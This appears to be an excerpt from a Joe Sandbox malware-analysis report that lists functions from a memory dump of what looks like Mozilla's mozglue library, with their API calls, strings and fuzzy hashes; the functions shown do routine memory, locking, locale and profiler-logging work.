Opcode Fuzzy Hash: ec6d2d88a2064e1f0133641013bba1afe982dfefc6140909f4ccce019b281e35
Instruction Fuzzy Hash: 6871BDB0909B51CBC712CF59C88055BF3F4FF99314B808659E94A5BB02EB31E8C6CB91

Function 6C5ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5ADDCF

Part of subcall function 6C58FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C58FA4B

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADE0D
free.MOZGLUE(00000000), ref: 6C5ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C59DEFD,?,6C564A68), ref: 6C5ADF32

Part of subcall function 6C5ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5ADB86
Part of subcall function 6C5ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C59DEFD,?,6C564A68), ref: 6C5ADF65
free.MOZGLUE(?), ref: 6C5ADF80

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fb44bccc0fb421b5c11705716b4bf994a20cd19f6124c15180af759a3a9e2b76
Instruction ID: ec4abefd851d29b7c2e4c074bd6df2656a31fed936f2d44256aa5730da276a93
Opcode Fuzzy Hash: fb44bccc0fb421b5c11705716b4bf994a20cd19f6124c15180af759a3a9e2b76
Instruction Fuzzy Hash: A051B3726017109BD720EA6ACC806AFB3B2BF95308F96051CDD1A53B00DB31B95BCB92

Function 6C5B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5DC9
std::_Facet_Register.LIBCPMT ref: 6C5B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5E45

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4da1191e99c06311f713b57af8c2bd49b0bb3e76850e367bb8c1c69e5e433696
Instruction ID: d76c82a9d53e6c9688838769802a1dc9c516f9e116a4f6b286a6807a2657af8e
Opcode Fuzzy Hash: 4da1191e99c06311f713b57af8c2bd49b0bb3e76850e367bb8c1c69e5e433696
Instruction Fuzzy Hash: 9B41AF307003048FCB04EFA5CC98AAE7BB6EF89314F454169E506AB781EB30ED05CB65

Function 6C58CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5531A7), ref: 6C58CDDD

Strings

<jemalloc>, xrefs: 6C58CF9F, 6C58CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C58CFA4, 6C58CFB8

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 198afbd13b8df975b8190f93e9bab9a8c6e49760515f3fc9a14b17c11a5f7cdc
Instruction ID: 89872ec5a108be9b3972b120d3c321e10512d4cd8440f43340ffe8674099fffa
Opcode Fuzzy Hash: 198afbd13b8df975b8190f93e9bab9a8c6e49760515f3fc9a14b17c11a5f7cdc
Instruction Fuzzy Hash: 8331A7307423265BFF01AF698C45B6E77B6BB41714F214619F611AB680DB70F400C7A9

Function 6C55ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55F100: LoadLibraryW.KERNEL32(shell32,?,6C5CD020), ref: 6C55F122
Part of subcall function 6C55F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C55F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C55ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C55EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C55EDCC
CreateFileW.KERNEL32 ref: 6C55EE08
free.MOZGLUE(00000000), ref: 6C55EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C55EE32

Part of subcall function 6C55EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C55EBB5
Part of subcall function 6C55EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C58D7F3), ref: 6C55EBC3
Part of subcall function 6C55EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C58D7F3), ref: 6C55EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C55EDC1

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 63a164befe4fd035cb79ed7e2c327cf181c614467d78ea509ec68a5133c75b59
Instruction ID: dea4e128ff5bfde584160c31ebc65815aa69aafe4cecacef399c101229ed2c0f
Opcode Fuzzy Hash: 63a164befe4fd035cb79ed7e2c327cf181c614467d78ea509ec68a5133c75b59
Instruction Fuzzy Hash: 2851E471E05304CBDB00DF68CC456EEB7B1AF89318F84891ED8556B740E7B46D98C7A2

Function 6C5CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CA565

Part of subcall function 6C5CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CA4BE
Part of subcall function 6C5CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5CA6B6

Strings

z, xrefs: 6C5CA6AE
0, xrefs: 6C5CA5FB

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: bf8e72e8a9d8443a3982faada95acd65c261611192a5847d298b2a89a1c0c4fe
Instruction ID: 1d2e4dcbb7cb14d8267ae549e138c61bf5c86cfc1844b3a281b8b89719373a9a
Opcode Fuzzy Hash: bf8e72e8a9d8443a3982faada95acd65c261611192a5847d298b2a89a1c0c4fe
Instruction Fuzzy Hash: 71411971A097459FC741DF68C880A8ABBF5BFC9354F408A2EF49987650EB30D589CB83

Function 6C599420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
__Init_thread_footer.LIBCMT ref: 6C59949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C59947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C599459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C59946B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fe984cf332e53e44932a218086efbf8807af0fea6490ea7b600c0ea5e562b5a3
Instruction ID: 6823aeb8b61c19298f71ef901ba61c0f4bf5577e5e650d7944ad069c029e7500
Opcode Fuzzy Hash: fe984cf332e53e44932a218086efbf8807af0fea6490ea7b600c0ea5e562b5a3
Instruction Fuzzy Hash: 31018470A003018BD7009B6CDC15A5E33B9AB4672AF064677E90E86B91E722F965895F

Function 6C5A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A0F88
GetCurrentThreadId.KERNEL32 ref: 6C5A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5A114B

Part of subcall function 6C598AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5B1563), ref: 6C598BD5

free.MOZGLUE(?), ref: 6C5A1174
free.MOZGLUE(?), ref: 6C5A1186

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 1ead7809b54a196f01be70f77788987041353334fbb4b826ac545d6c19db459e
Instruction ID: 90c37a5ded44e2c32c92e3e3fa7e2e8b15fc3a8d96a064c0430a976a0956ca25
Opcode Fuzzy Hash: 1ead7809b54a196f01be70f77788987041353334fbb4b826ac545d6c19db459e
Instruction Fuzzy Hash: 55618B75A04340DBDB10DF66CC8079EB7F6AFC9308F05891DE98957611EB71E84ACB86

Function 6C55B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6AC

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C55B61E), ref: 6C55B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B79A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 655147a9bd0646decdd5681d836d5afc50ea69c6680824fcb028d595938f3395
Instruction ID: e78ff7fd07f15ff63ddc84632b6a09bb3dfd767d6a13f7bcac6ab6f3ca227e5e
Opcode Fuzzy Hash: 655147a9bd0646decdd5681d836d5afc50ea69c6680824fcb028d595938f3395
Instruction Fuzzy Hash: 3C41B4B2D001159FCB04EF68DC845AEB7B5FB84324F65066AE825E7790E731AD148BE1

Function 6C55EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C5D5104), ref: 6C55EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C55EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C55EFEC
free.MOZGLUE(?), ref: 6C55F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C55F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C55F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F065
moz_xmalloc.MOZGLUE ref: 6C55F072

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 89f1498d28517e65b3665d8d7a91390d163f5833fc9c73707d55da2e73a49bcd
Instruction ID: f1a61e01b8465b09c070de475f8ba350cf2a7abdca383911588e6c780aa8ca2f
Opcode Fuzzy Hash: 89f1498d28517e65b3665d8d7a91390d163f5833fc9c73707d55da2e73a49bcd
Instruction Fuzzy Hash: B341D6B1A002059FCB08CF68DC809AE7769EF84314B64072DE826DB7A4EB71ED15C7E1

Function 6C5CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C5CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5CB5F4
__Init_thread_footer.LIBCMT ref: 6C5CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C5CB61F
std::_Facet_Register.LIBCPMT ref: 6C5CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CB655

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4eda8b2bbb845cf2c9b39eee7f5c142a6c1fc5565261e761b42b6dff9925c067
Instruction ID: 33dfc87f5fd9f7d7426ac3f086afcbcb3a53704cc005021088f186ad029ad5ed
Opcode Fuzzy Hash: 4eda8b2bbb845cf2c9b39eee7f5c142a6c1fc5565261e761b42b6dff9925c067
Instruction Fuzzy Hash: E3316475B00215CBCF00FFA9CC549AEB7B6EB8A325B160519D90697740DB31BD06CB9A

Function 6C596590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C58FA80: GetCurrentThreadId.KERNEL32 ref: 6C58FA8D
Part of subcall function 6C58FA80: AcquireSRWLockExclusive.KERNEL32(6C5DF448), ref: 6C58FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C596727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5967C8

Part of subcall function 6C5A4290: memcpy.VCRUNTIME140(?,?,6C5B2003,6C5B0AD9,?,6C5B0AD9,00000000,?,6C5B0AD9,?,00000004,?,6C5B1A62,?,6C5B2003,?), ref: 6C5A42C4

Strings

v]l, xrefs: 6C59696C
data, xrefs: 6C596593

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v]l
API String ID: 511789754-429172569
Opcode ID: 1b59c9a699d0765306c1695e620b931068c1d6bfdfac1ae8ca5516e16094a4ce
Instruction ID: 58c71a7c7bc41bd13b4ec81e29e0336b37fc44949cc595428b104e7f5879c431
Opcode Fuzzy Hash: 1b59c9a699d0765306c1695e620b931068c1d6bfdfac1ae8ca5516e16094a4ce
Instruction Fuzzy Hash: 8FD1BB75A04380CBD764DF65CC50B9EB7E6AFC5308F10492EE489C7B91EB30A949CB92

Function 6C58D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C55EB57,?,?,?,?,?,?,?,?,?), ref: 6C58D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C55EB57,?), ref: 6C58D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C55EB57,?), ref: 6C58D673
free.MOZGLUE(?), ref: 6C58D888

Strings

WUl, xrefs: 6C58D5D9, 6C58D63F
|Enabled, xrefs: 6C58D81E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WUl$|Enabled
API String ID: 4142949111-363587195
Opcode ID: 44c3976efaa7c29b037564b624bae878fc11b693b0b6c2362c8a7746566ea782
Instruction ID: bf7427b1a21c9da52a98facc32f8f48013306c6335167031c4d8c9432284d09d
Opcode Fuzzy Hash: 44c3976efaa7c29b037564b624bae878fc11b693b0b6c2362c8a7746566ea782
Instruction Fuzzy Hash: 68A1F270A023199FDF11CF69CC807AEBBF1AF49318F58815ED885AB741D734A845CBA1

Function 6C569830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C5B7ABE), ref: 6C56985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C5B7ABE), ref: 6C5698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C569909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C569918
free.MOZGLUE(?), ref: 6C569975

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 1d6956f6bca1ba408f6de4eef6b21722d8c4cc6c18ba5c4a949c42e97858b2ef
Instruction ID: 8992dddcaf2c751406b123982a6591c0c751553f7125851faa7670ae4e8723f9
Opcode Fuzzy Hash: 1d6956f6bca1ba408f6de4eef6b21722d8c4cc6c18ba5c4a949c42e97858b2ef
Instruction Fuzzy Hash: 90718AB46047068FC725CF29C880956B7F1FF8A3247644AADE85A8BFA0D731F845CB91

Function 6C56B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

